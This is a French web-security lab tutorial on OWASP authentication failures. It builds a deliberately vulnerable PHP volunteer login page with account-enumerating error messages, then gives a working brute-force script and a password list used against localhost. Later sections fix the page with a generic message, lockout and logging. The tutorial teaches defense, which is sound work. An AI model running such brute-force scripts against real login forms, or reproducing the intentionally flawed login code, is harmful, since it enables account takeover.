Aller au contenu principal

Authentication Failures (défaillances d'authentification)

Schéma

  • Comprendre comment une application vulnérable peut être attaquée par une attaque par force brute ou par énumération de comptes (Authentication Failures, n°7 du Top 10 de l'OWASP (2025)).
  • Apprendre à s'en protéger avec un message d'erreur générique, une limitation des tentatives et une journalisation des échecs.
attention

Vérifier un mot de passe ne suffit pas : si rien n'empêche un attaquant d'essayer des milliers de mots de passe automatiquement, ou de deviner quels comptes existent, le formulaire de connexion reste une porte ouverte, même avec des mots de passe correctement hachés.


1. Création du projet vulnérable​

Créez un dossier tp-authn contenant trois fichiers : l'espace bénévoles du club de randonnée (le même site que celui des TP précédents), où deux comptes existent déjà.

membres.json :

[
{
"pseudo": "claire",
"nom": "Claire Fontaine",
"role": "admin",
"mot_de_passe": "$2y$12$juhkvquaAtX5gmNGeagO9OwUSL/4xWFcELrrnNKZbC9AdXmNtbY22"
},
{
"pseudo": "service-civique",
"nom": "Poste Service Civique",
"role": "membre",
"mot_de_passe": "$2y$12$92mlTeRxkVMY7qLWbATwTOl0TyI1gEFbtnOe7ZVVM1V48xoaByirm"
}
]

login.php :

<?php
session_start();

function lireMembres(): array
{
return json_decode(file_get_contents(__DIR__ . '/membres.json'), true);
}

function trouverMembre(string $pseudo): ?array
{
foreach (lireMembres() as $membre) {
if ($membre['pseudo'] === $pseudo) {
return $membre;
}
}
return null;
}

$erreur = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$membre = trouverMembre($_POST['pseudo'] ?? '');

if (!$membre) {
$erreur = 'Identifiant inconnu.';
} elseif (!password_verify($_POST['mot_de_passe'] ?? '', $membre['mot_de_passe'])) {
$erreur = 'Mot de passe incorrect.';
} else {
$_SESSION['pseudo'] = $membre['pseudo'];
header('Location: index.php');
exit;
}
}
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>Connexion bénévoles - Club de randonnée</title>
</head>
<body>
<h1>Connexion à l'espace bénévoles</h1>
<?php if ($erreur): ?>
<p style="color:red;"><?= htmlspecialchars($erreur) ?></p>
<?php endif; ?>
<form method="post" action="">
<p><label>Pseudo : <input type="text" name="pseudo" required></label></p>
<p><label>Mot de passe : <input type="password" name="mot_de_passe" required></label></p>
<button type="submit">Se connecter</button>
</form>
</body>
</html>

index.php :

<?php
session_start();

if (!isset($_SESSION['pseudo'])) {
header('Location: login.php');
exit;
}
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>Espace bénévoles - Club de randonnée</title>
</head>
<body>
<h1>Espace bénévoles du club de randonnée</h1>
<p>Bienvenue, <strong><?= htmlspecialchars($_SESSION['pseudo']) ?></strong> !</p>
</body>
</html>
info

Le mot de passe de claire est correctement haché avec password_hash() et vérifié avec password_verify() : ce TP ne porte pas sur le stockage des mots de passe, mais sur ce qui se passe autour de cette vérification, pourtant correcte.


2. Démarrer le serveur Web​

Dans le dossier tp-authn, démarrez le serveur Web intégré à PHP :

php -S localhost:8000

Ouvrez ensuite http://localhost:8000/login.php et connectez-vous avec claire pour vérifier que le formulaire fonctionne normalement.


3. Repérer une faille d'énumération des comptes​

Essayez de vous connecter avec un mot de passe volontairement faux, pour deux pseudos différents :

  1. pseudo = amelie (qui n'existe pas), mot de passe = test
  2. pseudo = service-civique (qui existe), mot de passe = test

Question : Que remarquez-vous entre les deux messages d'erreur affichés ? En quoi cette différence est-elle un problème de sécurité ?

📌 Une réponse

attention

Dans login.php, ce sont les lignes $erreur = 'Identifiant inconnu.'; et $erreur = 'Mot de passe incorrect.'; qui provoquent la fuite : le code traite correctement les deux cas (identifiant et mot de passe), mais l'affiche différemment à l'utilisateur.


4. Créer le script de l'attaquant​

Nous allons maintenant jouer le rôle de l'attaquant, qui a déjà repéré le pseudo service-civique (visible par exemple sur une photo du trombinoscope publiée sur les réseaux sociaux du club) et qui tente de deviner son mot de passe.

Créez un second dossier tp-authn-attaquant (à côté de tp-authn, pas dedans), contenant le fichier mots_de_passe.txt :

123456
password
azerty
Password1
randonnee
Randonnee
soleil2024
Randonnee2024
bonjour123
motdepasse
qwerty123
clubrando

et le fichier force_brute.php :

<?php
// Script d'attaque : essaie une liste de mots de passe courants contre un pseudo donné
$pseudo = 'service-civique';
$motsDePasse = file(__DIR__ . '/mots_de_passe.txt', FILE_IGNORE_NEW_LINES);

foreach ($motsDePasse as $motDePasse) {
$donnees = http_build_query(['pseudo' => $pseudo, 'mot_de_passe' => $motDePasse]);

$contexte = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $donnees,
'ignore_errors' => true,
],
]);

file_get_contents('http://localhost:8000/login.php', false, $contexte);
$reponse = $http_response_header[0] ?? '';

$succes = str_contains($reponse, '302');
echo ($succes ? '✅' : '❌') . " $motDePasse\n";

if ($succes) {
echo "\nMot de passe trouvé pour $pseudo : $motDePasse\n";
exit;
}
}

echo "\nAucun mot de passe de la liste n'a fonctionné.\n";
info

Ce script envoie chaque mot de passe de la liste au formulaire, exactement comme le ferait un navigateur. Il reconnaît une connexion réussie grâce au code 302 Found renvoyé par header('Location: index.php') : en cas d'échec, login.php réaffiche la page (code 200).


5. Déclencher l'attaque​

Dans le dossier tp-authn-attaquant, exécutez le script en ligne de commande :

php force_brute.php

Résultat attendu : après quelques essais, le script affiche Mot de passe trouvé pour service-civique : Randonnee2024.

Question : Pourquoi ce mot de passe en particulier a-t-il été deviné aussi facilement ?

📌 Une réponse

attention

C'est une attaque par force brute (ou, avec une vraie liste de mots de passe déjà fuités dans d'autres piratages, du credential stuffing) : l'attaquant ne cherche pas une faille dans le code, il profite simplement de l'absence de limite sur le nombre d'essais.


6. Sécuriser le code PHP​

Modifiez tp-authn/login.php pour afficher un message générique, quelle que soit la cause de l'échec, et pour compter les tentatives échouées par pseudo, avec un blocage temporaire au-delà d'un certain nombre :

<?php
session_start();

const FICHIER_TENTATIVES = __DIR__ . '/tentatives.json';
const MAX_TENTATIVES = 3;
const DUREE_BLOCAGE = 30; // secondes

function lireMembres(): array
{
return json_decode(file_get_contents(__DIR__ . '/membres.json'), true);
}

function trouverMembre(string $pseudo): ?array
{
foreach (lireMembres() as $membre) {
if ($membre['pseudo'] === $pseudo) {
return $membre;
}
}
return null;
}

function lireTentatives(): array
{
if (!file_exists(FICHIER_TENTATIVES)) {
return [];
}
return json_decode(file_get_contents(FICHIER_TENTATIVES), true);
}

function ecrireTentatives(array $tentatives): void
{
file_put_contents(FICHIER_TENTATIVES, json_encode($tentatives));
}

$erreur = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$pseudo = $_POST['pseudo'] ?? '';
$tentatives = lireTentatives();
$infos = $tentatives[$pseudo] ?? ['nombre' => 0, 'dernier_echec' => 0];

if ($infos['nombre'] >= MAX_TENTATIVES && (time() - $infos['dernier_echec']) < DUREE_BLOCAGE) {
$erreur = 'Trop de tentatives échouées. Réessayez dans quelques instants.';
} else {
$membre = trouverMembre($pseudo);

if ($membre && password_verify($_POST['mot_de_passe'] ?? '', $membre['mot_de_passe'])) {
unset($tentatives[$pseudo]);
ecrireTentatives($tentatives);
$_SESSION['pseudo'] = $membre['pseudo'];
header('Location: index.php');
exit;
}

$tentatives[$pseudo] = ['nombre' => $infos['nombre'] + 1, 'dernier_echec' => time()];
ecrireTentatives($tentatives);
$erreur = 'Identifiant ou mot de passe incorrect.';
}
}
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>Connexion bénévoles - Club de randonnée</title>
</head>
<body>
<h1>Connexion à l'espace bénévoles</h1>
<?php if ($erreur): ?>
<p style="color:red;"><?= htmlspecialchars($erreur) ?></p>
<?php endif; ?>
<form method="post" action="">
<p><label>Pseudo : <input type="text" name="pseudo" required></label></p>
<p><label>Mot de passe : <input type="password" name="mot_de_passe" required></label></p>
<button type="submit">Se connecter</button>
</form>
</body>
</html>
info

tentatives.json associe à chaque pseudo le nombre d'échecs récents et la date du dernier échec. Dès qu'une connexion réussit, le compteur de ce pseudo est remis à zéro : seules les tentatives rapprochées déclenchent le blocage, pas l'historique entier du compte.


7. Vérifier que l'attaque échoue désormais​

Supprimez le fichier tentatives.json s'il existe, pour repartir d'un compteur réinitialisé, puis rejouez le scénario :

  1. Essayez de vous connecter 3 fois de suite avec service-civique et un mot de passe faux.
  2. Essayez une 4e fois avec le bon mot de passe, Randonnee2024.

Résultat attendu : à l'étape 2, la connexion est refusée malgré le bon mot de passe, avec le message « Trop de tentatives échouées. ».


Supprimez à nouveau le fichier tentatives.json, pour repartir d'un compteur propre, puis rejouez le scénario :

  • Relancez php force_brute.php depuis tp-authn-attaquant (sur un compteur réinitialisé).

Résultat attendu : Le script échoue sur toute la liste de mots de passe, y compris sur Randonnee2024.

Question : Pourquoi le message affiché au bout de 3 échecs est-il le même (avec un mauvais mot de passe ou un bon mot de passe) ?

📌 Une réponse

Bonne pratique - Un seul message, pour tout le monde

Qu'il s'agisse d'un identifiant inconnu, d'un mauvais mot de passe ou d'un compte bloqué, un attaquant ne doit jamais pouvoir distinguer ces trois cas à partir du seul message affiché. En pratique, seul le cas du blocage temporaire doit rester visible (pour ne pas frustrer un utilisateur légitime qui se trompe), le message en cas de mauvais identifiant ou mauvais mot de passe doit être le même.


8. Ajouter une couche de défense supplémentaire : journaliser les échecs​

Même avec un blocage temporaire, il est utile de garder une trace des tentatives échouées, pour repérer une attaque en cours ou a posteriori. Ajoutez cette fonction à login.php :

function journaliserEchec(string $pseudo): void
{
$ligne = sprintf("[%s] Échec de connexion pour '%s' depuis %s\n",
date('Y-m-d H:i:s'),
$pseudo,
$_SERVER['REMOTE_ADDR'] ?? 'inconnu'
);
file_put_contents(__DIR__ . '/connexions.log', $ligne, FILE_APPEND);
}

puis appelez-la juste avant d'afficher le message d'erreur générique :

$tentatives[$pseudo] = ['nombre' => $infos['nombre'] + 1, 'dernier_echec' => time()];
ecrireTentatives($tentatives);
journaliserEchec($pseudo);
$erreur = 'Identifiant ou mot de passe incorrect.';

Rejouez quelques tentatives échouées, puis ouvrez tp-authn/connexions.log.

Résultat attendu : une ligne par tentative échouée, avec la date, le pseudo visé et l'adresse IP d'origine, par exemple :

[2026-10-05 15:23:45] Échec de connexion pour 'service-civique' depuis ::1
Bonne pratique - Défense en profondeur

La journalisation ne bloque rien par elle-même : c'est un filet de sécurité en plus, qui permet à un administrateur de détecter une attaque (de nombreux échecs sur un même pseudo, ou sur des pseudos différents depuis la même adresse IP) et d'y réagir. Combinée au blocage temporaire, elle illustre bien qu'aucune protection isolée n'est suffisante.


Notions théoriques​

Les Authentication Failures (« défaillances d'authentification ») regroupent les failles qui permettent à un attaquant de se faire passer pour un utilisateur légitime, sans en connaître réellement les identifiants.

remarque

Contrairement au Contrôle d'accès défaillant, qui suppose que l'utilisateur est déjà connecté, les défaillances d'authentification portent sur le moment où l'on prouve qui l'on est, avant même d'obtenir une session.

Les principales défaillances recensées par l'OWASP​

  • Force brute et credential stuffing : rien n'empêche d'essayer automatiquement un grand nombre de mots de passe (ou des identifiants déjà fuités lors d'un autre piratage) jusqu'à ce que l'un fonctionne.
  • Mots de passe par défaut ou trop prévisibles : un mot de passe jamais changé après la création du compte (comme Randonnee2024 dans ce TP), ou un mot de passe parmi les plus courants (123456, password...).
  • Énumération de comptes : des messages d'erreur ou des temps de réponse différents selon que l'identifiant existe ou non, qui permettent de dresser la liste des comptes réels.
  • Récupération de mot de passe mal sécurisée : des questions secrètes devinables (« quel est le nom de votre animal ? ») ou un lien de réinitialisation prévisible.
  • Authentification multifacteur absente : un seul facteur (le mot de passe) protège le compte.
  • Identifiant de session mal géré : identifiant de session visible dans l'URL, réutilisé après la connexion (au lieu d'en générer un nouveau), ou jamais invalidé à la déconnexion.

Comment se protéger contre les défaillances d'authentification ?​

  • Limiter et ralentir les tentatives : un compteur d'échecs, avec un blocage temporaire croissant, rend la force brute beaucoup trop lente pour être rentable.
  • Un message d'erreur unique, qui ne distingue jamais un identifiant inconnu d'un mot de passe incorrect.
  • Interdire les mots de passe trop faibles ou déjà fuités, à la création du compte comme lors d'un changement de mot de passe.
  • Proposer (ou imposer) une authentification multifacteur, en particulier pour les comptes à privilèges (administrateur, service partagé).
  • Journaliser les échecs de connexion et alerter en cas de pic anormal.
  • Gérer correctement les sessions : nouvel identifiant après connexion, invalidation à la déconnexion, jamais d'identifiant de session dans l'URL.

Test de mémorisation/compréhension​


Que permet de faire une attaque par énumération de comptes ?


Pourquoi le mot de passe « Randonnee2024 » est-il deviné si vite ?


Comment le script force_brute.php sait-il qu'une tentative a réussi (sans navigateur) ?


Que mesure le compteur stocké dans tentatives.json ?


Pourquoi la version corrigée refuse-t-elle la connexion même avec le bon mot de passe, après 3 échecs ?


Pourquoi le message « Trop de tentatives échouées. » doit-il rester identique, que le mot de passe soit correct ou non ?


À quoi sert la fonction journaliserEchec() ajoutée à l'étape 8 ?


Qu'appelle-t-on la fixation de session, évoquée dans les notions théoriques ?


Pourquoi une authentification multifacteur (MFA) limite-t-elle fortement l'impact d'un mot de passe deviné ?



Bonnes pratiques​

  • Afficher un message d'erreur générique, identique pour un identifiant inconnu et pour un mot de passe incorrect.
  • Compter les tentatives échouées par compte (ou par adresse IP) et bloquer temporairement au-delà d'un seuil raisonnable.
  • Interdire les mots de passe par défaut, trop courants ou jamais changés, en particulier sur les comptes partagés ou à privilèges.
  • Journaliser les échecs de connexion pour détecter une attaque en cours.
  • Proposer une authentification multifacteur, surtout pour les comptes sensibles.
  • Régénérer l'identifiant de session après connexion et l'invalider à la déconnexion.

Ce que fait Symfony​

Le composant Security de Symfony intègre nativement la limitation des tentatives de connexion (login throttling) : il suffit de l'activer dans security.yaml, sans écrire soi-même de compteur ni de fichier de blocage.

# config/packages/security.yaml
security:
firewalls:
main:
login_throttling:
max_attempts: 3

Pour le stockage des mots de passe, Symfony choisit automatiquement un algorithme de hachage robuste (bcrypt en 2026) via password_hashers: auto, et fournit UserPasswordHasherInterface pour vérifier un mot de passe sans jamais le manipuler en clair.

attention

Par défaut, Symfony ne donne pas d'indice lors d'un mauvais identifiant ou mauvais mot de passe et avec login_throttling Symfony limite le nombre de tentatives. Vérifiez cependant, si vous personnalisez les messages affichés, à ne pas réintroduire vous-même une faille d'énumération.